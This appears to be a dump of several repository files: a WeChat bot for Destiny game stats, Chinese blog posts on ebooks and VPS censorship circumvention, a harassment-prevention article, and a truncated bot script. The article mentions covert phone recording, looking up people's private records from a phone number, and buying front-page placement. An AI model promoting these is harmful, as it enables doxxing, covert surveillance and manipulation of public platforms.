程序启动启动可使用以下代码:\n\n ~~~shell\n python3 main.py\n #或者使用脚本(用screen启动)\n ./start.sh\n ~~~\n\n 注:本代码在python3.7.5测试通过,一些固定图片需自行搜集,此处不提供\n\n" }, { "alpha_fraction": 0.5773189663887024, "alphanum_fraction": 0.580504834651947, "avg_line_length": 29.508411407470703, "blob_id": "452ea2fd45dc9811e712130dd03c48c1466ba9ba", "content_id": "6db10b9e86fa4ecae87815b47a44d16a6b0e7ed3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18122, "license_type": "no_license", "max_line_length": 112, "num_lines": 535, "path": "/src/response.py", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "from src.MY_CONST import *\nimport src.destiny_api\nimport src.database\nimport xmltodict\nimport time\nimport json\nimport asyncio\nimport src.accessToken\nimport src.urlRequest\nimport src.imgHandler\n\n\ndef thread_response(xml_data):\n \"\"\"\n 消息处理运行总入口\n \"\"\"\n asyncio.run(response(xml_data))\n\n\ndef get_Season(season_input):\n \"\"\"\n 获取赛季信息\n\n Args: \n season_input:用户赛季输入\n Returns:\n 输入正确则返回对应赛季的字符串格式的数字,输入错误则返回“error”\n \"\"\"\n if season_input in season_list:\n season = season_list[season_input]\n else:\n try:\n if int(season_input) > current_season:\n raise Exception(\"Invalid season!\")\n season = str(int(season_input))\n except:\n ACCESS.debug(\"get_Season出错\")\n season = \"error\"\n return season\n\n\nasync def sendDataToUser(msgtype, touser, content):\n \"\"\"\n 给用户发送消息,需要有微信平台客服返回消息权限,post方式\n\n Args:\n msgtype:消息格式,值为\"text\"或者\"image\"\n touser:接受消息用户,微信OpenID\n content:消息内容,文字信息或者mediaid\n Returns:\n None\n \"\"\"\n resp_data = {}\n if msgtype == \"text\":\n resp_data = {\n \"touser\": touser,\n \"msgtype\": \"text\",\n \"text\":\n {\n \"content\": content\n }\n }\n elif msgtype == \"image\":\n resp_data = {\n \"touser\": touser,\n \"msgtype\": \"image\",\n \"image\":\n {\n \"media_id\": content\n }\n }\n if resp_data != {}:\n access_token = await src.accessToken.getAccessToken()\n url = f\"https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token={access_token}\"\n resp = await src.urlRequest.PostResponse(url, resp_data)\n resp = json.loads(resp)\n if resp[\"errmsg\"] != \"ok\":\n ACCESS.debug(resp[\"errmsg\"])\n\n\nasync def response(xml_data):\n \"\"\"\n 对用户信息进行解析和处理\n\n Args:\n xml_data:微信发送的源xml数据\n Returns:\n None\n \"\"\"\n dict_data = xmltodict.parse(xml_data)['xml'] # 进行XML解析\n msg_type = dict_data['MsgType']\n wechat_id = dict_data['FromUserName']\n # 判断内容是否为文字\n if msg_type == \"text\":\n msg_id = dict_data['MsgId']\n content_list = dict_data['Content'].split(\" \")\n resp_content, msgtype = await TextHandler(wechat_id, content_list)\n # 消息类型为关注或取关\n elif msg_type == \"event\":\n if dict_data['Event'] == \"subscribe\":\n msgtype = \"text\"\n resp_content = help\n elif dict_data['Event'] == \"CLICK\":\n EventKey = dict_data[\"EventKey\"]\n resp_content, msgtype = await EventKeyHandler(wechat_id, EventKey)\n else:\n return None\n else:\n msgtype = \"text\"\n resp_content = \"请输入文本\"\n\n await sendDataToUser(msgtype, dict_data['FromUserName'], resp_content)\n\n\nasync def TextHandler(wechat_id, content_list):\n \"\"\"\n 用户发送为文字信息,对文字信息进行处理\n\n Args:\n wechat_id:微信用户OpenID\n content_list:用户发送的消息以“ ”(空格)拆分,list类型\n Returns:\n resp_content:消息内容\n msgtype:消息类型\n \"\"\"\n ACCESS.info(f\"{wechat_id}:{content_list}\")\n # 只有一个参数\n if len(content_list) == 1:\n # 参数为help,提供help\n if content_list[0] == \"help\":\n msgtype = \"text\"\n resp_content = help\n # 参数为老九,查询xur位置\n elif content_list[0] in Options[\"xur_option\"]:\n resp_content, msgtype = await getXur()\n # 参数为raid,查看raid记录\n elif content_list[0] in Options[\"raid_option\"]:\n resp_content, msgtype = await getRaid(wechat_id=wechat_id)\n # 参数为elo,查看elo记录\n elif content_list[0] in Options[\"elo_option\"]:\n resp_content, msgtype = await getElo(wechat_id=wechat_id)\n # 参数为elo,查看日报\n elif content_list[0] in Options[\"daily_option\"]:\n resp_content, msgtype = await getDaily()\n # 参数为elo,查看周报\n elif content_list[0] in Options[\"weekly_option\"]:\n resp_content, msgtype = await getWeekly()\n # 参数为试炼,查看试炼情报\n elif content_list[0] in Options[\"Osiris_option\"]:\n resp_content, msgtype = await getOsiris()\n # 永久图片\n elif content_list[0] in Options[\"permanent_image_option\"]:\n resp_content, msgtype = await getImages(content_list[0])\n elif content_list[0] == \"强制刷新\":\n resp_content, msgtype = await force_refresh(wechat_id)\n # 其他\n else:\n resp_content, msgtype = await elseData()\n # # 有两个参数\n elif len(content_list) == 2:\n # 指令为绑定\n if content_list[0] == \"绑定\":\n resp_content, msgtype = await bindData(steamid=content_list[1], wechat_id=wechat_id)\n # 指令为elo\n elif content_list[0] in Options[\"elo_option\"]:\n resp_content, msgtype = await getElo(steamid=content_list[1], wechat_id=wechat_id)\n # 指令为raid\n elif content_list[0] in Options[\"raid_option\"]:\n resp_content, msgtype = await getRaid(steamid=content_list[1], wechat_id=wechat_id)\n # 指令为队友\n elif content_list[0] == \"队友\":\n if content_list[1] in Options[\"raid_option\"]:\n resp_content, msgtype = await getRaid(party=True, wechat_id=wechat_id)\n elif content_list[1] in Options[\"elo_option\"]:\n resp_content, msgtype = await getElo(party=True, wechat_id=wechat_id)\n else:\n resp_content, msgtype = await elseData()\n # 有三个参数\n elif len(content_list) == 3:\n if content_list[0] in Options[\"elo_option\"] and content_list[1] == \"赛季\":\n resp_content, msgtype = await getElo(wechat_id=wechat_id, season=content_list[2])\n else:\n resp_content, msgtype = await elseData()\n elif len(content_list) == 4:\n if content_list[0] in Options[\"elo_option\"] and content_list[2] == \"赛季\":\n resp_content, msgtype = await getElo(steamid=content_list[1], season=content_list[3])\n else:\n resp_content, msgtype = await elseData()\n # 五个及以上参数\n else:\n resp_content, msgtype = await elseData()\n\n return resp_content, msgtype\n\n\nasync def returnWaitingMsg(wechat_id):\n \"\"\"\n 给用户发送等待消息\n\n Args:\n wechat_id:微信用户OpenID\n Returns:\n None\n \"\"\"\n await sendDataToUser(\"text\", wechat_id, \"获取此信息时间可能较长,请稍后...\")\n\n\nasync def EventKeyHandler(wechat_id, EventKey):\n \"\"\"\n Event类型消息处理\n\n Args:\n wechat_id:微信用户OpenID\n EventKey:自定义的Event,详情见\"./interface.py\"\n Returns:\n resp_content:消息内容\n msgtype:消息类型\n \"\"\"\n ACCESS.info(f\"{wechat_id}:{EventKey}\")\n if EventKey == \"daily\":\n resp_content, msgtype = await getDaily()\n elif EventKey == \"weekly\":\n resp_content, msgtype = await getWeekly()\n elif EventKey == \"xur\":\n resp_content, msgtype = await getXur()\n elif EventKey == \"partyelo\":\n resp_content, msgtype = await getElo(party=True, wechat_id=wechat_id)\n elif EventKey == \"partyraid\":\n resp_content, msgtype = await getRaid(party=True, wechat_id=wechat_id)\n elif EventKey == \"meelo\":\n resp_content, msgtype = await getElo(wechat_id=wechat_id)\n elif EventKey == \"meraid\":\n resp_content, msgtype = await getRaid(wechat_id=wechat_id)\n elif EventKey == \"help\":\n resp_content, msgtype = await elseData()\n elif EventKey == \"Osiris\":\n resp_content, msgtype = await getOsiris()\n elif EventKey in Options[\"permanent_image_option\"]:\n resp_content, msgtype = await getImages(EventKey)\n return resp_content, msgtype\n\n\n# async def getXur():\n# msgtype = \"text\"\n# xur_location = await src.destiny_api.getXurLocation()\n# if xur_location != \"老九还没来\":\n# xur_saleitems = await src.destiny_api.getXurSaleItems()\n# resp_content = f\"位置:{xur_location}\"\n# for item in xur_saleitems:\n# resp_content += \"\\n-------------\\n\"\n# resp_content += item\n# resp_content += \"\\n-------------\"\n# return resp_content, msgtype\n\n\nasync def getRaid(wechat_id, steamid=None, party=False):\n \"\"\"\n 获取Raid信息\n\n Args:\n wechat_id:微信用户OpenID,用于给用户返回提示等待信息\n steamid:SteamID信息,根据SteamID查询用户记录,默认为None\n party:是否查询火力战队信息,bool类型,默认为False\n Returns:\n resp_content:消息内容\n msgtype:消息类型\n \"\"\"\n msgtype = \"text\"\n await returnWaitingMsg(wechat_id)\n if not party:\n # 查询单人\n if steamid == None:\n # 查询自身\n data = await src.database.FindUserDataByWchatID(wechat_id)\n if data != None:\n SteamID = data[1]\n MembershipID = data[2]\n UserName = data[3]\n resp_content = await src.destiny_api.getUserRaidReportByMemberShipID(\n MembershipID, UserName)\n else:\n resp_content = \"尚未绑定账号\"\n else:\n if src.destiny_api.is_steamid64(steamid):\n SteamID = steamid\n MembershipID = await src.destiny_api.getMembershipIDBySteamID(SteamID)\n UserName = await src.destiny_api.getUsernameByMembershipid(MembershipID)\n resp_content = await src.destiny_api.getUserRaidReportByMemberShipID(MembershipID, UserName)\n else:\n UserName = steamid\n MembershipID = await src.destiny_api.SearchUsersByName(UserName)\n if MembershipID != None:\n resp_content = await src.destiny_api.getUserRaidReportByMemberShipID(MembershipID, UserName)\n else:\n resp_content = \"用户不存在或存在重名\"\n else:\n # 查询火力战队\n if steamid == None:\n # 查询自身火力战队\n data = await src.database.FindUserDataByWchatID(wechat_id)\n if data != None:\n SteamID = data[1]\n MembershipID = data[2]\n UserName = data[3]\n resp_content = await src.destiny_api.getPartyMembersRaidReport(MembershipID)\n else:\n resp_content = \"尚未绑定账号\"\n else:\n # steamid火力战队\n resp_content = \"该服务尚未开通\"\n pass\n return resp_content, msgtype\n\n\nasync def getElo(wechat_id, steamid=None, party=False, season=current_season):\n \"\"\"\n 获取用户ELO信息\n\n Args:\n wechat_id:微信用户OpenID,用于给用户返回提示等待信息\n steamid:SteamID信息,根据SteamID查询用户记录,默认为None\n party:是否查询火力战队信息,bool类型,默认为False\n season:确定赛季信息,默认为当前赛季\n Returns:\n resp_content:消息内容\n msgtype:消息类型\n \"\"\"\n msgtype = \"text\"\n if season != \"13\":\n season = get_Season(season)\n if season == \"error\":\n return \"赛季输入出错\", msgtype\n await returnWaitingMsg(wechat_id)\n if not party:\n # 查询单人\n if steamid == None:\n # 查询自身\n data = await src.database.FindUserDataByWchatID(wechat_id)\n if data != None:\n SteamID = data[1]\n MembershipID = data[2]\n UserName = data[3]\n resp_content = await src.destiny_api.getPlayerdataBySteamID(SteamID, UserName, season)\n else:\n resp_content = \"尚未绑定账号\"\n else:\n # 查询steamid\n if src.destiny_api.is_steamid64(steamid):\n SteamID = steamid\n MembershipID = await src.destiny_api.getMembershipIDBySteamID(SteamID)\n UserName = await src.destiny_api.getUsernameByMembershipid(MembershipID)\n resp_content = await src.destiny_api.getPlayerdataBySteamID(SteamID, UserName, season)\n else:\n UserName = steamid\n MembershipID = await src.destiny_api.SearchUsersByName(UserName)\n if MembershipID != None:\n SteamID = await src.destiny_api.getSteamIDByMembershipID(MembershipID)\n resp_content = await src.destiny_api.getPlayerdataBySteamID(SteamID, UserName, season)\n else:\n resp_content = \"用户不存在或存在重名\"\n else:\n if steamid == None:\n data = await src.database.FindUserDataByWchatID(wechat_id)\n if data != None:\n SteamID = data[1]\n MembershipID = data[2]\n UserName = data[3]\n resp_content = await src.destiny_api.getPartyMembersElo(MembershipID)\n else:\n resp_content = \"尚未绑定账号\"\n else:\n # steamid火力战队\n resp_content = \"该服务尚未开通\"\n pass\n return resp_content, msgtype\n\n\nasync def getImages(name):\n \"\"\"\n 获取图片信息\n\n Args:\n name:地窖开车关/下水道/\"破碎王座地图/许愿墙\n Returns:\n resp_content:图片的微信素材的MEDIA_ID或者错误信息\n msgtype:消息类型\n \"\"\"\n msgtype = \"image\"\n name_en = Options[\"permanent_image_option\"][name]\n return_data = await src.database.FindImageByName(name_en, \"permanent\")\n if return_data == None:\n resp_content = f\"获取{name}出错\"\n msgtype = \"text\"\n else:\n resp_content = return_data[1]\n return resp_content, msgtype\n\n\nasync def getDaily():\n \"\"\"\n 获取日报的MEDIA_ID\n\n Args:\n None\n Returns:\n resp_content:日报图片的微信素材的MEDIA_ID或者错误信息\n msgtype:消息类型\n \"\"\"\n msgtype = \"image\"\n resp_content = await src.imgHandler.getDaily()\n if resp_content == None:\n resp_content = \"获取日报出错\"\n msgtype = \"text\"\n return resp_content, msgtype\n\n\nasync def getWeekly():\n \"\"\"\n 获取周报的MEDIA_ID\n\n Args:\n None\n Returns:\n resp_content:周报图片的微信素材的MEDIA_ID或者错误信息\n msgtype:消息类型\n \"\"\"\n msgtype = \"image\"\n resp_content = await src.imgHandler.getWeekly()\n if resp_content == None:\n resp_content = \"获取周报出错\"\n msgtype = \"text\"\n return resp_content, msgtype\n\n\nasync def getXur():\n \"\"\"\n 获取XUR图片的MEDIA_ID\n\n Args:\n None\n Returns:\n resp_content:XUR图片的微信素材的MEDIA_ID或者错误信息\n msgtype:消息类型\n \"\"\"\n msgtype = \"image\"\n resp_content = await src.imgHandler.getXurOrOsiris(\"xur\")\n if resp_content == None:\n resp_content = \"获取XUR情报出错或尚未更新\"\n msgtype = \"text\"\n return resp_content, msgtype\n\n\nasync def getOsiris():\n \"\"\"\n 获取试炼的MEDIA_ID\n\n Args:\n None\n Returns:\n resp_content:试炼图片的微信素材的MEDIA_ID或者错误信息\n msgtype:消息类型\n \"\"\"\n msgtype = \"image\"\n resp_content = await src.imgHandler.getXurOrOsiris(\"Osiris\")\n if resp_content == None:\n resp_content = \"获取试炼情报出错或尚未更新\"\n msgtype = \"text\"\n return resp_content, msgtype\n\n\nasync def elseData():\n \"\"\"\n 获取帮助信息\n\n Args:\n None\n Returns:\n resp_content:help信息\n msgtype:\"text\"\n \"\"\"\n msgtype = \"text\"\n resp_content = help\n return resp_content, msgtype\n\n\nasync def bindData(steamid, wechat_id):\n \"\"\"\n 绑定账号\n\n Args:\n steamid:需要绑定SteamID\n wechat_id:需要绑定的微信OpenID\n Returns:\n resp_content:提示信息\n msgtype:\"text\"\n \"\"\"\n msgtype = \"text\"\n if src.destiny_api.is_steamid64(steamid):\n SteamID = steamid\n MembershipID = await src.destiny_api.getMembershipIDBySteamID(SteamID)\n if MembershipID == None:\n return \"MembershipID查询出错\", msgtype\n UserName = await src.destiny_api.getUsernameByMembershipid(MembershipID)\n if UserName == None:\n return \"UserName查询出错\", msgtype\n if await src.database.save_data(wechat_id, SteamID, MembershipID, UserName):\n resp_content = \"绑定账号成功\"\n else:\n resp_content = \"绑定账号失败\"\n else:\n UserName = steamid\n MembershipID = await src.destiny_api.SearchUsersByName(UserName)\n if MembershipID != None:\n SteamID = await src.destiny_api.getSteamIDByMembershipID(MembershipID)\n if await src.database.save_data(wechat_id, SteamID, MembershipID, UserName):\n resp_content = f\"绑定账号成功,请确认SteamID是否正确,SteamID:{SteamID}\"\n else:\n resp_content = \"绑定账号失败\"\n else:\n resp_content = \"用户不存在或存在重名,请使用SteamID绑定\"\n return resp_content, msgtype\n\n\nasync def force_refresh(wechat_id):\n msgtype = \"text\"\n resp_content = \"您没有权限\"\n data = await src.database.FindUserDataByWchatID(wechat_id)\n Authority = data[4]\n if Authority == \"root\":\n resp = await src.accessToken.refresh_access_token()\n if resp == False:\n return \"刷新access_token失败\", msgtype\n\n resp_content = \"OK\"\n return resp_content, msgtype\n" }, { "alpha_fraction": 0.7037037014961243, "alphanum_fraction": 0.7222222089767456, "avg_line_length": 17.33333396911621, "blob_id": "df3647ff8fdc0ac6a7ea8fcabcd5f6b841ce9a39", "content_id": "9c513e20d00b3c85f78aebb5f0273db63f0af15f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 54, "license_type": "no_license", "max_line_length": 41, "num_lines": 3, "path": "/start.sh", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nscreen -S \"WeChat_Server\" python3 main.py" } ]
14
Ericxiaoshuang/webstudy
https://github.com/Ericxiaoshuang/webstudy
cb6eff5d97266ce3969db34584c8d6179d353d0f
ab70ead9379a414f57f03e4e94a1e402e5ede567
abbd6bd71c73b0bd8913745b5439a73915605e9c
refs/heads/master
2019-04-07T07:53:31.590779
2017-06-21T01:11:59
2017-06-21T01:11:59
80,830,467
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.556382954120636, "alphanum_fraction": 0.7436169981956482, "avg_line_length": 15.103447914123535, "blob_id": "4ec6ce6935bbeab80f6cfcabc2699b76e7bb69dd", "content_id": "4099f00618cc379df3a782dafa677c990ee6e16f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1376, "license_type": "no_license", "max_line_length": 69, "num_lines": 58, "path": "/如何写电子书2.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 如何写一本电子书?\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170409/165135965.png)\n \n今天将曾经的博客文章\n录入到gitbook中\n然后下载编译好的`kindle格式`电子书\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170409/165144269.png)\n\n\n##### 目录如下\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170409/165150088.jpg)\n\n \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170409/165154525.jpg)\n\n\n---\n\n### 排版效果惨不忍睹\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170409/165202212.png)\n\n \n##### gitbook使用的是markdown语法\n在编译后的kindle中\n会出现格式变化和缩进异常的情况\n尤其是图片没有居中\n显得格外突兀\n\n---\n### 一些问题\n> 写书和写博客是完全不同的 \n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170409/165209268.png)\n\n \n\n写博客可以随性而为\n更多的是日常感悟和记录总结\n而且没有结构化的层次\n\n但是写书呢?\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170409/165217352.png)\n\n \n必须先系统化的思考目录大纲\n再细细的铺展开来\n不能再以日记的口吻自嗨了\n必须来一场交流和对话 \n\n---\n\n### 后记\n预计写一本电子书\n上架亚马逊kindle,多看阅读等\n希望和你做朋友,一起交流\n微信 hackrobot\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170322/111214449.jpg) \n\n\n\n \n" }, { "alpha_fraction": 0.49073439836502075, "alphanum_fraction": 0.6664378643035889, "avg_line_length": 23.233333587646484, "blob_id": "6b1d5b5c73624518adaf514eedcc75b8d54c7c8d", "content_id": "443ca07bc3a53cedcf91c7d6e7647adf955386d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1891, "license_type": "no_license", "max_line_length": 132, "num_lines": 60, "path": "/vps视频教程.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### vps搭建梯子科学上网教程\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170219/222817324.png)\n\n---\n\n> Hello,今天为小伙伴演示如何科学上网\n\n一共4步:\n- 注册网站\n- 选择套餐,用支付宝付款\n- 点击'一键安装'\n- 获取4串数字 ,并填写到软件 \n\n科学上网,就是这么简单\n \n ---\n ### 视频教程\n \n #### 为什么用vps\n http://o9eqsfpee.bkt.clouddn.com/%E4%B8%BA%E4%BB%80%E4%B9%88%E4%B9%B0%20vps%E7%A7%91%E5%AD%A6%E4%B8%8A%E7%BD%91.mp4\n #### vps可以做什么?\n http://o9eqsfpee.bkt.clouddn.com/%E4%B8%BA%E4%BB%80%E4%B9%88%E4%B9%B0%20vps%E7%A7%91%E5%AD%A6%E4%B8%8A%E7%BD%91.mp4\n \n #### vps与免费服务优势\n http://o9eqsfpee.bkt.clouddn.com/%E4%B8%BA%E4%BB%80%E4%B9%88%E4%B9%B0%20vps%E7%A7%91%E5%AD%A6%E4%B8%8A%E7%BD%91.mp4\n \n #### 超级简单-4步曲\n http://o9eqsfpee.bkt.clouddn.com/%E4%B8%BA%E4%BB%80%E4%B9%88%E4%B9%B0%20vps%E7%A7%91%E5%AD%A6%E4%B8%8A%E7%BD%91.mp4\n \n \n \n---\n### 正式开始\n#### 第一步--注册网站\nhttp://o9eqsfpee.bkt.clouddn.com/1.%20%E6%B3%A8%E5%86%8C%E7%BD%91%E7%AB%99.mp4\n#### 第二步--选择套餐与支付宝付款\nhttp://o9eqsfpee.bkt.clouddn.com/2.%20%E9%80%89%E6%8B%A9%E5%A5%97%E9%A4%90%E4%B8%8E%E6%94%AF%E4%BB%98%E5%AE%9D%E4%BB%98%E6%AC%BE.mp4\n\n#### 第三步--后台选择一键安装\nhttp://o9eqsfpee.bkt.clouddn.com/3.%20%E5%90%8E%E5%8F%B0%E4%B8%80%E9%94%AE%E5%AE%89%E8%A3%85.mp4\n\n#### 第四步--选择软件并设置\nhttp://o9eqsfpee.bkt.clouddn.com/4.%20%E4%B8%8B%E8%BD%BD%E8%BD%AF%E4%BB%B6%E5%B9%B6%E8%AE%BE%E7%BD%AE.mp4\n\n----\n\n### 免费的永远是最贵的\n最后箴言: \n你可以使用`蓝灯` \n也可以每天用`greenvpn`签到获取流量 \n但是不稳定且速度超级慢 \n\n> 当你见识到更大的世界的时候 \n\n ![mark](http://oe40n695u.bkt.clouddn.com/blog/20170219/222948022.png)\n\n你就知道 \n生命应该浪费在美好的事情上 \n且爱且珍惜 \n\n" }, { "alpha_fraction": 0.6727107763290405, "alphanum_fraction": 0.7512843608856201, "avg_line_length": 14.105022430419922, "blob_id": "8f5d17b2b212997ff926268131cb7a3d8683668b", "content_id": "d9dfe18a06c71f3e9a6661ad8e3a6d9964638396", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7049, "license_type": "no_license", "max_line_length": 264, "num_lines": 219, "path": "/女性如何防止性骚扰,手撕渣男?.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 妇仇者联盟\n撰写该文的初衷是刷知乎的时候\n首页出现了`金融女王`的文章\n[火力全开,深度爆料:让所有骚扰女性的渣男都身败名裂](https://zhuanlan.zhihu.com/p/25709520)\n\n 女王只是揭开了这个世界灰色的一角\n 更黑暗更可怕的远不止于此\n 我想,应该尽自己一分微薄之力,分享一些经验\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170313/105116801.jpg)\n\n \n\n\n---\n\n### 女性最高危的场景\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170313/105128208.png)\n \n\n \n\n#### 1.上司与下属 \n\n> 职场中`领导`利用权力 \n\n- 半夜让女性应酬聚餐\n- 同行一起出差去酒店\n- 猥亵不成功就故意排挤\n \n 对于刚毕业的`大学女实习生`\n 完全不知道如何保护自己\n\n\n#### 2.熟人关系,见色起意\n曾有一项调查显示:\n90%的性侵猥亵案例都是身边的\n这些人可能是:\n- 你的同事\n- 你的同学\n- 或者邻居 \n\n因为他们对你的性格和行踪了如指掌\n一时见色起意就顾不了太多\n\n 身边一朋友就说大一时被高中老师借口帮忙\n 后来吃饭各种灌酒引导去酒店\n\n#### 3.网友\n首先我要说的是\n大多数女性是非常喜欢跟网友互动的\n时间久了,有好感,就会打电话,最后线下见面\n\n> 国外有个边际流派叫`谜男`\n\n旨在利用女性心理学,以及话术惯例道具等快速将陌生女性`推倒`\n这样的人每天都是在狩猎\n\n 比如女王说的,微信邀约,朋友圈点赞,利用招聘软件\n 个人评价是还好女王遇到的这类人太low,急功近利\n\n---\n\n### 如何保护自己!?\n我在知乎曾回答1篇- [女生如何防狼或者性骚扰](https://www.zhihu.com/question/25263240/answer/140244969)\n是从单身女性的角度介绍了一些工具和app\n### 男人如何保护女朋友和身边的女性\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170313/105134712.png)\n\n \n\n本来想为男同胞门写一篇如何保护女朋友\n或者身边的亲人,女性的文章\n由于种种原因一直搁浅在,现在就先写3个做个引子.\n\n### 相关案例\n看到过很多新闻,都是说情侣在路上遇到一群小混混\n小混混对女朋友进行猥亵\n通常男性有2种情况:\n- 怯懦,让女朋友受委屈,铭记一生额侮辱\n- 抗拒,男生被混混用利器伤害,甚至致死 \n\n我很担心这种无能为力的情况\n1. 包包里会放一个某宝买的`军用防身伸缩棍`\n在遇到有危险的时候,必须用工具抗争,不然就任人窄割.\n2. 健身和基本搏斗术\n有健康魁梧的身材虽然说从武力的角度讲是很好\n更重要的是自信的心态和锐利\n让一般人不敢随便欺负,人都是基于判断的\n3. 努力赚钱\n- 不让身边的女孩子住廉租房\n- 不让她被迫加班,与男同事独处,走夜路\n- 不用挤公交打黑的\n\n虽然第3条,我还有很长的路要走\n但我正在努力.\n\n---\n### 有效的保护自己,手撕渣男!\n我想严肃的跟大家提2个关键词:\n- 幸存者偏差\n- 证据\n\n#### 1. 幸存者偏差\n> `金融女王`是做金融的,在深圳这一线城市薪水待遇应该不低\n\n在意识到自己收到骚扰和侵犯的时候\n在`知乎专栏`上发表了`妇仇者联盟`多篇反击文章\n而且作为一个知识分子白领,\n女王的行为很有层次:\n- 报警\n- 照片记录保存和公示\n- 录音文件\n- 向知乎主流平台公布 \n- 发律师函\n\n而如果是刚毕业的女大学生,工厂或者服务业的女性\n遇到后只能手足无措\n个人认为报警的肯定是少之又少\n更别说保留证据\n媒体平台几乎没有路径\n\n#### 2. 取证\n`金融女王`拍了很多照片,比如报警回执,律师函,还有聊天记录\n而我想说的是,不限于国内,在任何时候任何地方\n我们都是脆弱而无力的\n某些部门和机构,只会按流程办事,走过场,甚至狼狈为奸\n有没有发现,很多事故最后调取监控的时候\n要么:\n- 摄像头坏了\n- 服务器有问题\n- 看不清楚 \n\n总之各种理由借口,普通人根本无能为力\n\n\n### 终极建议\n#### 在主流媒体发声\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170313/105323877.png)\n推荐一下媒体平台:\n- 今日头条\n- 新浪微博\n- 知乎社区\n需要靠记者或编辑审核的在这里我没有提及\n而这3个流量池大,观看人数多\n不必要研究文案,直接某宝就可以刷上首页\n\n#### 个人网站\n我本人搭建了Hexo静态博客和wordpress动态博客\n我来说说我们为什么必须有自己的独立博客!\n1. 被审查:\n大多数东西在某朝是禁忌,比如科学上网,youtube,\n在任何公开的平台:知乎,简书,优酷,都面临严格的过滤\n知乎上·由于政策和法律原因·贝屏蔽的文章还少吗?\n之前提过·幸存者偏差·,很多东西,你看到了,真是你的幸运\n而独立博客,使用香港或者境外服务器\n你的文字就是文字,你能自己发声,让全世界知道\n2. 内容元素限制\n在微信公众号,单篇只能放3个视频,还必须是腾讯视频\n在我的博客,我可以任意放视频,链接,二维码,甚至H5网页代码\n我需要想大众展示真相:\n- 文字\n- 图片\n- 视频\n- 其他 \n\n内容形式不应该被限制,而影响表达\n\n---\n### 黑客之心\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170313/105142935.png)\n\n \n\n> ·金融女王·展示了那么多证据\n> 都比上一个证据\n\n就是现场真实的视频\n#### 1.如何取证\n我曾经写过很多黑客脚本工具\n工具毕竟是工具,亦正亦邪,且看人心\n用来保护自己就是利器。\n请参考 - [把手机变为取证隐秘摄像机](http://mp.weixin.qq.com/s?__biz=MjM5ODM5MjM5Mg==&mid=2650419655&idx=1&sn=9bc72cdcbb0949f1e9f708ecf05eb285&chksm=bec5f6e089b27ff6e8a4f9cb27f83dce4afd0a597fa91bef869d69c96c1c3e55f367a12f1479&mpshare=1&scene=1&srcid=0313EZMuMGW6I3nRcH0colkR#rd) \n\n> 提示:\n**保留好最原始的数据**\n可以进行MD5值公证,和元数据查询\n以免日后被人篡改\n毕竟数字文件,只是编码而已\n\n#### 2.渣男无处藏身\n> 社会工程学里,有个技术叫·信息刺探·\n\n大家可以理解为·人肉搜索·\n比如最近的一篇CCTV报道的:\n有团队可以通过查询手机号,获取:\n- 姓名,地址,QQ\n- 酒店记录,开机记录,拍照\n- 婚礼证明,配偶资料,房产证明\n- 各种 \n\n虽然我没有接触到,但是各种社工库和工具也能做到\n获取个人隐私是违法的,愿适度,不忘初心\n这里也不多说了,直接放曾经写过的文章\n[如何防范社会工程学黑客攻击](http://huxiaoshuang.com/2016/09/26/%E7%A4%BE%E4%BC%9A%E5%B7%A5%E7%A8%8B%E5%AD%A6/)\n\n---\n\n### 后记\n昨晚看到了知乎\n加了·金融女王·微信和进群后\n立马写了这篇文章,如有不严谨请海涵\n另外由于写了很多两面性的东西\n大家自行斟酌,见仁见义.\n\n 希望大家认真对待身边的女性朋友\n 保护好自己心爱的的人。\n\n未完待续。\n\n" }, { "alpha_fraction": 0.420999675989151, "alphanum_fraction": 0.42558425664901733, "avg_line_length": 19.2330322265625, "blob_id": "38d7982370daf6ffc36c152b0815d9ffd8b2c6ab", "content_id": "3457c9b2b07a6aad78d2b68777c6f912ca5896fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10687, "license_type": "no_license", "max_line_length": 90, "num_lines": 442, "path": "/wechat.py", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# coding: utf-8\nimport datetime\nimport logging\nimport re\n# import sys\nimport time\nfrom functools import wraps\nfrom threading import Thread\n\n# 必须用cmd运行,不能使用idle,会有各种错误\n\n\nimport logging\n\nfrom wxpy import *\n\nlogging.basicConfig(level=logging.INFO)\n\nbot = Bot(cache_path=True,console_qr=True)\n\ncard_msg = None\nno_card_notice = '名片尚未确认,请手动发送到文件传输助手'\n\n# 第一步: 手动向自己的文件传输助手发送一次所需的名片\[email protected](bot.file_helper, CARD, except_self=False)\ndef get_card_msg_to_send(msg):\n global card_msg\n logging.info('获得了名片: {}'.format(msg.card.name))\n card_msg = msg\n\n\[email protected](msg_types=FRIENDS)\n# 自动接受验证信息中包含 'wxpy' 的好友请求\ndef auto_accept_friends(msg):\n # 判断好友请求中的验证文本\n if '义工' in msg.text.lower():\n \n # 接受好友 (msg.card 